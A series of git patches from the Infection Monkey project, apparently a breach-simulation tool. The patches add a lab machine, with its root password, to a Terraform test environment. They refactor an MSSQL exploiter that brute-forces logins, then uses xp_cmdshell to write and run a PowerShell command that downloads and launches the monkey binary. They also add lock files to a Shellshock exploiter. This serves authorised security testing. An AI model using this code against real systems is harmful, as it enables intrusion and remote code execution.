From 4d8cd768fcaee0cef69e6a49e9c47c951303e2c7 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Sun, 25 Aug 2019 18:33:21 +0300 Subject: [PATCH 01/24] Updated monkeyzoo images and added tunneling-11 --- envs/monkey_zoo/docs/fullDocs.md | 36 +++++++++++++++++++++++++ envs/monkey_zoo/terraform/images.tf | 20 ++++++++------ envs/monkey_zoo/terraform/monkey_zoo.tf | 33 +++++++++++++++++++++-- 3 files changed, 79 insertions(+), 10 deletions(-) diff --git a/envs/monkey_zoo/docs/fullDocs.md b/envs/monkey_zoo/docs/fullDocs.md index b792b16f4..4f795af45 100644 --- a/envs/monkey_zoo/docs/fullDocs.md +++ b/envs/monkey_zoo/docs/fullDocs.md @@ -500,6 +500,42 @@ fullTest.conf is a good config to start, because it covers all machines. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Nr. 11 Tunneling M3

+

(10.2.0.11)

(Exploitable)
OS:Ubuntu 16.04.05 x64
Software:OpenSSL
Default service’s port:22
Root password:3Q=(Ge(+&w]*
Server’s config:Default
Notes:Accessible only trough Nr.10
+ diff --git a/envs/monkey_zoo/terraform/images.tf b/envs/monkey_zoo/terraform/images.tf index 4677d0c1b..dccbe16dd 100644 --- a/envs/monkey_zoo/terraform/images.tf +++ b/envs/monkey_zoo/terraform/images.tf @@ -26,23 +26,27 @@ data "google_compute_image" "shellshock-8" { project = "${local.monkeyzoo_project}" } data "google_compute_image" "tunneling-9" { - name = "tunneling-9-v2" + name = "tunneling-9" project = "${local.monkeyzoo_project}" } data "google_compute_image" "tunneling-10" { - name = "tunneling-10-v2" + name = "tunneling-10" + project = "${local.monkeyzoo_project}" +} +data "google_compute_image" "tunneling-11" { + name = "tunneling-11" project = "${local.monkeyzoo_project}" } data "google_compute_image" "sshkeys-11" { - name = "sshkeys-11-v2" + name = "sshkeys-11" project = "${local.monkeyzoo_project}" } data "google_compute_image" "sshkeys-12" { - name = "sshkeys-12-v2" + name = "sshkeys-12" project = "${local.monkeyzoo_project}" } data "google_compute_image" "mimikatz-14" { - name = "mimikatz-14-v2" + name = "mimikatz-14" project = "${local.monkeyzoo_project}" } data "google_compute_image" "mimikatz-15" { @@ -58,7 +62,7 @@ data "google_compute_image" "weblogic-18" { project = "${local.monkeyzoo_project}" } data "google_compute_image" "weblogic-19" { - name = "weblogic-19-v2" + name = "weblogic-19" project = "${local.monkeyzoo_project}" } data "google_compute_image" "smb-20" { @@ -78,7 +82,7 @@ data "google_compute_image" "struts2-23" { project = "${local.monkeyzoo_project}" } data "google_compute_image" "struts2-24" { - name = "struts-24-v2" + name = "struts2-24" project = "${local.monkeyzoo_project}" } data "google_compute_image" "island-linux-250" { @@ -88,4 +92,4 @@ data "google_compute_image" "island-linux-250" { data "google_compute_image" "island-windows-251" { name = "island-windows-251" project = "${local.monkeyzoo_project}" -} \ No newline at end of file +} diff --git a/envs/monkey_zoo/terraform/monkey_zoo.tf b/envs/monkey_zoo/terraform/monkey_zoo.tf index e0b97822f..dccbf7fa8 100644 --- a/envs/monkey_zoo/terraform/monkey_zoo.tf +++ b/envs/monkey_zoo/terraform/monkey_zoo.tf @@ -15,6 +15,11 @@ resource "google_compute_network" "tunneling" { auto_create_subnetworks = false } +resource "google_compute_network" "tunneling2" { + name = "tunneling2" + auto_create_subnetworks = false +} + resource "google_compute_subnetwork" "monkeyzoo-main" { name = "monkeyzoo-main" ip_cidr_range = "10.2.2.0/24" @@ -27,6 +32,12 @@ resource "google_compute_subnetwork" "tunneling-main" { network = "${google_compute_network.tunneling.self_link}" } +resource "google_compute_subnetwork" "tunneling2-main" { + name = "tunneling2-main" + ip_cidr_range = "10.2.0.0/27" + network = "${google_compute_network.tunneling2.self_link}" +} + resource "google_compute_instance_from_template" "hadoop-2" { name = "hadoop-2" source_instance_template = "${local.default_ubuntu}" @@ -149,7 +160,6 @@ resource "google_compute_instance_from_template" "tunneling-9" { network_interface{ subnetwork="tunneling-main" network_ip="10.2.1.9" - } network_interface{ subnetwork="monkeyzoo-main" @@ -170,6 +180,25 @@ resource "google_compute_instance_from_template" "tunneling-10" { subnetwork="tunneling-main" network_ip="10.2.1.10" } + network_interface{ + subnetwork="tunneling2-main" + network_ip="10.2.0.10" + } +} + +resource "google_compute_instance_from_template" "tunneling-11" { + name = "tunneling-11" + source_instance_template = "${local.default_ubuntu}" + boot_disk{ + initialize_params { + image = "${data.google_compute_image.tunneling-11.self_link}" + } + auto_delete = true + } + network_interface{ + subnetwork="tunneling2-main" + network_ip="10.2.0.11" + } } resource "google_compute_instance_from_template" "sshkeys-11" { @@ -428,4 +457,4 @@ resource "google_compute_instance_from_template" "island-windows-251" { // network_tier = "STANDARD" } } -} \ No newline at end of file +} From 3ebd7ed02dc246c4744f64666c48b26557550976 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 26 Aug 2019 18:49:58 +0300 Subject: [PATCH 02/24] MSSQL refactored to dynamically split exploitation commands into smaller chunks --- monkey/infection_monkey/exploit/mssqlexec.py | 70 ++++++++++++++++---- 1 file changed, 56 insertions(+), 14 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index e4eaf3151..a15801d12 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -27,6 +27,12 @@ class MSSQLExploiter(HostExploiter): SQL_DEFAULT_TCP_PORT = '1433' # Temporary file that saves commands for monkey's download and execution. TMP_FILE_NAME = 'tmp_monkey.bat' + MAX_XP_CMDSHELL_SIZE = 128 + + EXPLOIT_COMMAND_PREFIX = "xp_cmdshell \">%%(payload_file_path)s" + MONKEY_DOWNLOAD_COMMAND = "powershell (new-object System.Net.WebClient)." \ + "DownloadFile(^\'%%(http_path)s^\' , ^\'%%(local_path)s^\')" def __init__(self, host): super(MSSQLExploiter, self).__init__(host) @@ -60,11 +66,18 @@ class MSSQLExploiter(HostExploiter): commands = ["xp_cmdshell \"mkdir %s\"" % get_monkey_dir_path()] MSSQLExploiter.execute_command(cursor, commands) - # Form download command in a file - commands = [ - "xp_cmdshell \"%s\"" % tmp_file_path, - "xp_cmdshell \">%s\"" % (http_path, tmp_file_path), - "xp_cmdshell \">%s\"" % (dst_path, tmp_file_path)] + # Form download command + download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND % {'http_path': http_path, 'dst_path': dst_path} + # Form suffix + suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX % {'payload_file_path': tmp_file_path} + + exploit_command = MSSQLCommand(download_command, + prefix=MSSQLExploiter.EXPLOIT_COMMAND_PREFIX, + suffix=MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX, + max_length=MSSQLExploiter.MAX_XP_CMDSHELL_SIZE) + # Split command into chunks mssql xp_cmdshell can execute + commands = exploit_command.split_into_array_of_smaller_strings() + MSSQLExploiter.execute_command(cursor, commands) MSSQLExploiter.run_file(cursor, tmp_file_path) self.add_executed_cmd(' '.join(commands)) @@ -106,17 +119,17 @@ class MSSQLExploiter(HostExploiter): def brute_force(self, host, port, users_passwords_pairs_list): """ - Starts the brute force connection attempts and if needed then init the payload process. - Main loop starts here. + Starts the brute force connection attempts and if needed then init the payload process. + Main loop starts here. - Args: - host (str): Host ip address - port (str): Tcp port that the host listens to - users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with + Args: + host (str): Host ip address + port (str): Tcp port that the host listens to + users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with - Return: - True or False depends if the whole bruteforce and attack process was completed successfully or not - """ + Return: + True or False depends if the whole bruteforce and attack process was completed successfully or not + """ # Main loop # Iterates on users list for user, password in users_passwords_pairs_list: @@ -139,3 +152,32 @@ class MSSQLExploiter(HostExploiter): LOG.warning('No user/password combo was able to connect to host: {0}:{1}, ' 'aborting brute force'.format(host, port)) return None + + +class MSSQLCommand(object): + + def __init__(self, command, max_length, prefix="", suffix=""): + self.command = command + self.max_length = max_length + self.prefix = prefix + self.suffix = suffix + + def get_full_command(self, command): + return "{}{}{}".format(self.prefix, command, self.suffix) + + def split_into_array_of_smaller_strings(self): + remaining_command_to_split = self.command + commands = [] + while self.command_is_too_long(self.get_full_command(remaining_command_to_split)): + command_of_max_len, remaining_command = self.split_at_max_length(remaining_command_to_split) + commands.append(self.get_full_command(command_of_max_len)) + if remaining_command_to_split: + commands.append(remaining_command_to_split) + return commands + + def split_at_max_length(self, command): + substring_size = self.max_length - len(self.prefix) - len(self.command) - 1 + return self.get_full_command(command[0:substring_size]), command[substring_size:] + + def command_is_too_long(self, command): + return len(command)+len(self.prefix)+len(self.suffix) > self.max_length From 8c930fae66d6b581eb52e8a538ebc13cffcf1e42 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Wed, 28 Aug 2019 14:34:45 +0000 Subject: [PATCH 03/24] Mssql fixed, payload parsing class added --- monkey/infection_monkey/exploit/mssqlexec.py | 141 ++++++++++-------- .../exploit/tools/payload_parsing.py | 63 ++++++++ 2 files changed, 141 insertions(+), 63 deletions(-) create mode 100644 monkey/infection_monkey/exploit/tools/payload_parsing.py diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index a15801d12..4d6749ba5 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -1,6 +1,5 @@ import logging import os -import textwrap from time import sleep import pymssql @@ -11,7 +10,8 @@ from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, get_target_monkey, \ build_monkey_commandline, get_monkey_depth from infection_monkey.model import DROPPER_ARG -from infection_monkey.utils import get_monkey_dir_path +from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload +import infection_monkey.utils LOG = logging.getLogger(__name__) @@ -25,24 +25,31 @@ class MSSQLExploiter(HostExploiter): # Time in seconds to wait between MSSQL queries. QUERY_BUFFER = 0.5 SQL_DEFAULT_TCP_PORT = '1433' + # Temporary file that saves commands for monkey's download and execution. TMP_FILE_NAME = 'tmp_monkey.bat' - MAX_XP_CMDSHELL_SIZE = 128 + TMP_DIR_PATH = "C:\\windows\\temp\\monkey_dir" - EXPLOIT_COMMAND_PREFIX = "xp_cmdshell \">%%(payload_file_path)s" + MAX_XP_CMDSHELL_COMMAND_SIZE = 128 + + XP_CMDSHELL_COMMAND_START = "xp_cmdshell \"" + XP_CMDSHELL_COMMAND_END = "\"" + EXPLOIT_COMMAND_PREFIX = ">%(payload_file_path)s" + CREATE_COMMAND_SUFFIX = ">%(payload_file_path)s" MONKEY_DOWNLOAD_COMMAND = "powershell (new-object System.Net.WebClient)." \ - "DownloadFile(^\'%%(http_path)s^\' , ^\'%%(local_path)s^\')" + "DownloadFile(^\'%(http_path)s^\' , ^\'%(dst_path)s^\')" def __init__(self, host): super(MSSQLExploiter, self).__init__(host) + self.cursor = None def _exploit_host(self): # Brute force to get connection username_passwords_pairs_list = self._config.get_exploit_user_password_pairs() - cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list) + self.cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list) - if not cursor: + if not self.cursor: LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr)) return False @@ -60,47 +67,76 @@ class MSSQLExploiter(HostExploiter): LOG.info("Started http server on %s", http_path) dst_path = get_monkey_dest_path(http_path) - tmp_file_path = os.path.join(get_monkey_dir_path(), MSSQLExploiter.TMP_FILE_NAME) + tmp_file_path = os.path.join(MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME) - # Create monkey dir. - commands = ["xp_cmdshell \"mkdir %s\"" % get_monkey_dir_path()] - MSSQLExploiter.execute_command(cursor, commands) + # Create dir for payload + dir_creation_command = MSSQLLimitedSizePayload(command="mkdir %s" % MSSQLExploiter.TMP_DIR_PATH) + if not self.try_to_run_mssql_command(dir_creation_command): + return False + + if not self.create_empty_payload_file(tmp_file_path): + return True # Form download command - download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND % {'http_path': http_path, 'dst_path': dst_path} - # Form suffix + monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND % {'http_path': http_path, + 'dst_path': dst_path} + # Form suffix for appending to temp payload file suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX % {'payload_file_path': tmp_file_path} + prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX + monkey_download_command = MSSQLLimitedSizePayload(command=monkey_download_command, + suffix=suffix, + prefix=prefix) + if not self.try_to_run_mssql_command(monkey_download_command): + return True + self.run_file(tmp_file_path) - exploit_command = MSSQLCommand(download_command, - prefix=MSSQLExploiter.EXPLOIT_COMMAND_PREFIX, - suffix=MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX, - max_length=MSSQLExploiter.MAX_XP_CMDSHELL_SIZE) - # Split command into chunks mssql xp_cmdshell can execute - commands = exploit_command.split_into_array_of_smaller_strings() + self.add_executed_cmd(monkey_download_command.command) - MSSQLExploiter.execute_command(cursor, commands) - MSSQLExploiter.run_file(cursor, tmp_file_path) - self.add_executed_cmd(' '.join(commands)) - # Form monkey's command in a file + # Clear payload to pass in another command + if not self.create_empty_payload_file(tmp_file_path): + return True + + # Form monkey's launch command monkey_args = build_monkey_commandline(self.host, get_monkey_depth() - 1, dst_path) - monkey_args = ["xp_cmdshell \">%s\"" % (part, tmp_file_path) - for part in textwrap.wrap(monkey_args, 40)] - commands = ["xp_cmdshell \"%s\"" % (dst_path, DROPPER_ARG, tmp_file_path)] - commands.extend(monkey_args) - MSSQLExploiter.execute_command(cursor, commands) - MSSQLExploiter.run_file(cursor, tmp_file_path) - self.add_executed_cmd(commands[-1]) + suffix = ">>%s" % tmp_file_path + prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX + monkey_launch_command = MSSQLLimitedSizePayload(command="%s %s %s" % (dst_path, DROPPER_ARG, monkey_args), + prefix=prefix, + suffix=suffix) + if not self.try_to_run_mssql_command(monkey_launch_command): + return True + self.run_file(tmp_file_path) + + # Remove temporary dir we stored payload at + if not infection_monkey.utils.get_monkey_dir_path() == MSSQLExploiter.TMP_DIR_PATH.lower(): + tmp_file_removal_command = MSSQLLimitedSizePayload(command="del /f %s" % tmp_file_path) + self.try_to_run_mssql_command(tmp_file_removal_command) + tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir %s" % MSSQLExploiter.TMP_DIR_PATH) + self.try_to_run_mssql_command(tmp_dir_removal_command) + return True - @staticmethod - def run_file(cursor, file_path): - command = ["exec xp_cmdshell \"%s\"" % file_path] - return MSSQLExploiter.execute_command(cursor, command) + def run_file(self, file_path): + file_running_command = MSSQLLimitedSizePayload(file_path) + return self.try_to_run_mssql_command(file_running_command) + + def create_empty_payload_file(self, file_path): + # Create payload file + suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX % {'payload_file_path': file_path} + tmp_file_creation_command = MSSQLLimitedSizePayload(command="NUL", suffix=suffix) + return self.try_to_run_mssql_command(tmp_file_creation_command) + + def try_to_run_mssql_command(self, mssql_command): + array_of_commands = mssql_command.split_into_array_of_smaller_payloads() + if not array_of_commands: + LOG.error("Couldn't execute MSSQL because payload was too long") + return False + return MSSQLExploiter.execute_commands(self.cursor, array_of_commands) @staticmethod - def execute_command(cursor, cmds): + def execute_commands(cursor, cmds): """ Executes commands on MSSQL server :param cursor: MSSQL connection @@ -154,30 +190,9 @@ class MSSQLExploiter(HostExploiter): return None -class MSSQLCommand(object): - - def __init__(self, command, max_length, prefix="", suffix=""): - self.command = command - self.max_length = max_length - self.prefix = prefix - self.suffix = suffix - - def get_full_command(self, command): - return "{}{}{}".format(self.prefix, command, self.suffix) - - def split_into_array_of_smaller_strings(self): - remaining_command_to_split = self.command - commands = [] - while self.command_is_too_long(self.get_full_command(remaining_command_to_split)): - command_of_max_len, remaining_command = self.split_at_max_length(remaining_command_to_split) - commands.append(self.get_full_command(command_of_max_len)) - if remaining_command_to_split: - commands.append(remaining_command_to_split) - return commands - - def split_at_max_length(self, command): - substring_size = self.max_length - len(self.prefix) - len(self.command) - 1 - return self.get_full_command(command[0:substring_size]), command[substring_size:] - - def command_is_too_long(self, command): - return len(command)+len(self.prefix)+len(self.suffix) > self.max_length +class MSSQLLimitedSizePayload(LimitedSizePayload): + def __init__(self, command, prefix="", suffix=""): + super(MSSQLLimitedSizePayload, self).__init__(command=command, + max_length=MSSQLExploiter.MAX_XP_CMDSHELL_COMMAND_SIZE, + prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START+prefix, + suffix=suffix+MSSQLExploiter.XP_CMDSHELL_COMMAND_END) diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing.py b/monkey/infection_monkey/exploit/tools/payload_parsing.py new file mode 100644 index 000000000..e7596f11f --- /dev/null +++ b/monkey/infection_monkey/exploit/tools/payload_parsing.py @@ -0,0 +1,63 @@ +import logging +import textwrap + +LOG = logging.getLogger(__name__) + + +class Payload(object): + """ + Class for defining and parsing a payload (commands with prefixes/suffixes) + """ + + def __init__(self, command, prefix="", suffix=""): + """ + :param command: command + :param prefix: commands prefix + :param suffix: commands suffix + """ + self.command = command + self.prefix = prefix + self.suffix = suffix + + def get_full_payload(self, command=""): + if not command: + command = self.command + return "{}{}{}".format(self.prefix, command, self.suffix) + + +class LimitedSizePayload(Payload): + """ + Class for defining and parsing commands/payloads + """ + + def __init__(self, command, max_length, prefix="", suffix=""): + """ + :param command: command + :param max_length: max length that payload(prefix + command + suffix) can have + :param prefix: commands prefix + :param suffix: commands suffix + """ + super(LimitedSizePayload, self).__init__(command, prefix, suffix) + self.max_length = max_length + + def is_suffix_and_prefix_too_long(self): + return self.payload_is_too_long(self.suffix + self.prefix) + + def split_into_array_of_smaller_payloads(self): + if self.is_suffix_and_prefix_too_long(): + LOG.error("Can't split command into smaller sub-commands because commands' prefix and suffix already " + "exceeds required length of command.") + return False + elif self.command == "": + return [self.prefix+self.suffix] + + commands = [self.get_full_payload(part) + for part + in textwrap.wrap(self.command, self.get_max_sub_payload_length())] + return commands + + def get_max_sub_payload_length(self): + return self.max_length - len(self.prefix) - len(self.suffix) - 1 + + def payload_is_too_long(self, command): + return len(command) > self.max_length From 8099644cee55c00f0e868124515f7bbc3da360d6 Mon Sep 17 00:00:00 2001 From: Anh T Nguyen Date: Thu, 29 Aug 2019 18:18:41 +0700 Subject: [PATCH 04/24] enter lock before downloading --- monkey/infection_monkey/exploit/shellshock.py | 30 +++++++++++++++++++ 1 file changed, 30 insertions(+) diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index 208af2f98..1880e6c07 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -108,6 +108,9 @@ class ShellShockExploiter(HostExploiter): LOG.info("Can't find suitable monkey executable for host %r", self.host) return False + if not self._try_lock(exploit, url, header): + continue + http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) if not http_path: @@ -124,6 +127,8 @@ class ShellShockExploiter(HostExploiter): http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() + self._exit_lock(exploit, url, header) + if (http_thread.downloads != 1) or ( 'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)): LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__) @@ -182,6 +187,31 @@ class ShellShockExploiter(HostExploiter): LOG.debug("URL %s does not seem to be vulnerable with %s header" % (url, header)) return False, + @classmethod + def _try_lock(cls, exploit, url, header): + """ + Checks if another monkey is running shellshock exploit + :return: True if no monkey is running shellshock exploit + """ + file_path = '/tmp/monkey_lock' + if cls.check_remote_file_exists(url, header, exploit, file_path): + LOG.info("Another monkey is running shellshock exploit") + return False + cmdline = 'touch /tmp/monkey_lock' + run_path = exploit + cmdline + cls.attack_page(url, header, run_path) + return True + + @classmethod + def _exit_lock(cls, exploit, url, header): + """ + Remove lock file from target machine + """ + file_path = '/tmp/monkey_lock' + cmdline = 'rm %s' % file_path + run_path = exploit + cmdline + cls.attack_page(url, header, run_path) + @staticmethod def attack_page(url, header, attack): result = "" From c0a6f1d1ddb6b861481cab9be216226ee9b869d9 Mon Sep 17 00:00:00 2001 From: Anh T Nguyen Date: Sun, 1 Sep 2019 14:04:16 +0700 Subject: [PATCH 05/24] update --- monkey/infection_monkey/exploit/shellshock.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index 1880e6c07..8b18590de 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -197,7 +197,7 @@ class ShellShockExploiter(HostExploiter): if cls.check_remote_file_exists(url, header, exploit, file_path): LOG.info("Another monkey is running shellshock exploit") return False - cmdline = 'touch /tmp/monkey_lock' + cmdline = 'echo AAAA > %s' % file_path run_path = exploit + cmdline cls.attack_page(url, header, run_path) return True From b733cf3389481cde1d16de7b20a3f81df0725144 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Mon, 2 Sep 2019 08:37:52 +0000 Subject: [PATCH 06/24] Changed tmp dir path on mssql exploiter --- monkey/infection_monkey/exploit/mssqlexec.py | 12 +++++------- .../exploit/tools/payload_parsing.py | 13 +++++++++---- 2 files changed, 14 insertions(+), 11 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 4d6749ba5..c26954090 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -11,7 +11,6 @@ from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, get_tar build_monkey_commandline, get_monkey_depth from infection_monkey.model import DROPPER_ARG from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload -import infection_monkey.utils LOG = logging.getLogger(__name__) @@ -28,7 +27,7 @@ class MSSQLExploiter(HostExploiter): # Temporary file that saves commands for monkey's download and execution. TMP_FILE_NAME = 'tmp_monkey.bat' - TMP_DIR_PATH = "C:\\windows\\temp\\monkey_dir" + TMP_DIR_PATH = "%temp%\\tmp_monkey_dir" MAX_XP_CMDSHELL_COMMAND_SIZE = 128 @@ -110,11 +109,10 @@ class MSSQLExploiter(HostExploiter): self.run_file(tmp_file_path) # Remove temporary dir we stored payload at - if not infection_monkey.utils.get_monkey_dir_path() == MSSQLExploiter.TMP_DIR_PATH.lower(): - tmp_file_removal_command = MSSQLLimitedSizePayload(command="del /f %s" % tmp_file_path) - self.try_to_run_mssql_command(tmp_file_removal_command) - tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir %s" % MSSQLExploiter.TMP_DIR_PATH) - self.try_to_run_mssql_command(tmp_dir_removal_command) + tmp_file_removal_command = MSSQLLimitedSizePayload(command="del %s" % tmp_file_path) + self.try_to_run_mssql_command(tmp_file_removal_command) + tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir %s" % MSSQLExploiter.TMP_DIR_PATH) + self.try_to_run_mssql_command(tmp_dir_removal_command) return True diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing.py b/monkey/infection_monkey/exploit/tools/payload_parsing.py index e7596f11f..a02071333 100644 --- a/monkey/infection_monkey/exploit/tools/payload_parsing.py +++ b/monkey/infection_monkey/exploit/tools/payload_parsing.py @@ -19,7 +19,12 @@ class Payload(object): self.prefix = prefix self.suffix = suffix - def get_full_payload(self, command=""): + def get_payload(self, command=""): + """ + Returns prefixed and suffixed command (full payload) + :param command: Command to suffix/prefix. If no command is passed than objects' property is used + :return: prefixed and suffixed command (full payload) + """ if not command: command = self.command return "{}{}{}".format(self.prefix, command, self.suffix) @@ -50,10 +55,10 @@ class LimitedSizePayload(Payload): return False elif self.command == "": return [self.prefix+self.suffix] - - commands = [self.get_full_payload(part) + wrapper = textwrap.TextWrapper(drop_whitespace=False, width=self.get_max_sub_payload_length()) + commands = [self.get_payload(part) for part - in textwrap.wrap(self.command, self.get_max_sub_payload_length())] + in wrapper.wrap(self.command)] return commands def get_max_sub_payload_length(self): From 63d07f9c4bfae894a3dc1516ffb6fd59b4c8e4bd Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 3 Sep 2019 15:51:13 +0300 Subject: [PATCH 07/24] Added unit tests, improved mssql readability --- monkey/infection_monkey/exploit/mssqlexec.py | 180 +++++++++--------- .../exploit/tools/exceptions.py | 5 + .../infection_monkey/exploit/tools/helpers.py | 7 + .../exploit/tools/http_tools.py | 32 +++- .../exploit/tools/payload_parsing.py | 17 +- .../exploit/tools/payload_parsing_test.py | 32 ++++ monkey/infection_monkey/monkey.py | 7 +- 7 files changed, 175 insertions(+), 105 deletions(-) create mode 100644 monkey/infection_monkey/exploit/tools/exceptions.py create mode 100644 monkey/infection_monkey/exploit/tools/payload_parsing_test.py diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index c26954090..fc27cc600 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -1,16 +1,18 @@ import logging import os +import sys from time import sleep import pymssql from common.utils.exploit_enum import ExploitType from infection_monkey.exploit import HostExploiter -from infection_monkey.exploit.tools.http_tools import HTTPTools -from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, get_target_monkey, \ +from infection_monkey.exploit.tools.http_tools import MonkeyHTTPServer +from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, try_get_target_monkey, \ build_monkey_commandline, get_monkey_depth from infection_monkey.model import DROPPER_ARG from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload +from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError LOG = logging.getLogger(__name__) @@ -42,114 +44,110 @@ class MSSQLExploiter(HostExploiter): def __init__(self, host): super(MSSQLExploiter, self).__init__(host) self.cursor = None + self.monkey_binary_on_host_path = None + self.monkey_server = None + self.payload_file_path = os.path.join(MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME) def _exploit_host(self): # Brute force to get connection username_passwords_pairs_list = self._config.get_exploit_user_password_pairs() self.cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list) - if not self.cursor: - LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr)) - return False - - # Get monkey exe for host and it's path - src_path = get_target_monkey(self.host) - if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", self.host) - return False - - # Create server for http download and wait for it's startup. - http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path) - if not http_path: - LOG.debug("Exploiter failed, http transfer creation failed.") - return False - LOG.info("Started http server on %s", http_path) - - dst_path = get_monkey_dest_path(http_path) - tmp_file_path = os.path.join(MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME) - # Create dir for payload + self.create_temp_dir() + + try: + self.create_empty_payload_file() + + self.start_monkey_server() + self.upload_monkey() + self.stop_monkey_server() + + # Clear payload to pass in another command + self.create_empty_payload_file() + + self.run_monkey() + + self.remove_temp_dir() + except Exception as e: + raise ExploitingVulnerableMachineError, e.args, sys.exc_info()[2] + + return True + + def run_payload_file(self): + file_running_command = MSSQLLimitedSizePayload(self.payload_file_path) + return self.run_mssql_command(file_running_command) + + def create_temp_dir(self): dir_creation_command = MSSQLLimitedSizePayload(command="mkdir %s" % MSSQLExploiter.TMP_DIR_PATH) - if not self.try_to_run_mssql_command(dir_creation_command): - return False + self.run_mssql_command(dir_creation_command) - if not self.create_empty_payload_file(tmp_file_path): - return True + def create_empty_payload_file(self): + suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX % {'payload_file_path': self.payload_file_path} + tmp_file_creation_command = MSSQLLimitedSizePayload(command="NUL", suffix=suffix) + self.run_mssql_command(tmp_file_creation_command) - # Form download command - monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND % {'http_path': http_path, - 'dst_path': dst_path} - # Form suffix for appending to temp payload file - suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX % {'payload_file_path': tmp_file_path} - prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX - monkey_download_command = MSSQLLimitedSizePayload(command=monkey_download_command, - suffix=suffix, - prefix=prefix) - if not self.try_to_run_mssql_command(monkey_download_command): - return True - self.run_file(tmp_file_path) + def run_mssql_command(self, mssql_command): + array_of_commands = mssql_command.split_into_array_of_smaller_payloads() + if not array_of_commands: + raise Exception("Couldn't execute MSSQL exploiter because payload was too long") + self.run_mssql_commands(array_of_commands) + def run_monkey(self): + monkey_launch_command = self.get_monkey_launch_command() + self.run_mssql_command(monkey_launch_command) + self.run_payload_file() + + def run_mssql_commands(self, cmds): + for cmd in cmds: + self.cursor.execute(cmd) + sleep(MSSQLExploiter.QUERY_BUFFER) + + def upload_monkey(self): + monkey_download_command = self.write_download_command_to_payload() + self.run_payload_file() self.add_executed_cmd(monkey_download_command.command) - # Clear payload to pass in another command - if not self.create_empty_payload_file(tmp_file_path): - return True + def remove_temp_dir(self): + # Remove temporary dir we stored payload at + tmp_file_removal_command = MSSQLLimitedSizePayload(command="del %s" % self.payload_file_path) + self.run_mssql_command(tmp_file_removal_command) + tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir %s" % MSSQLExploiter.TMP_DIR_PATH) + self.run_mssql_command(tmp_dir_removal_command) + def start_monkey_server(self): + self.monkey_server = 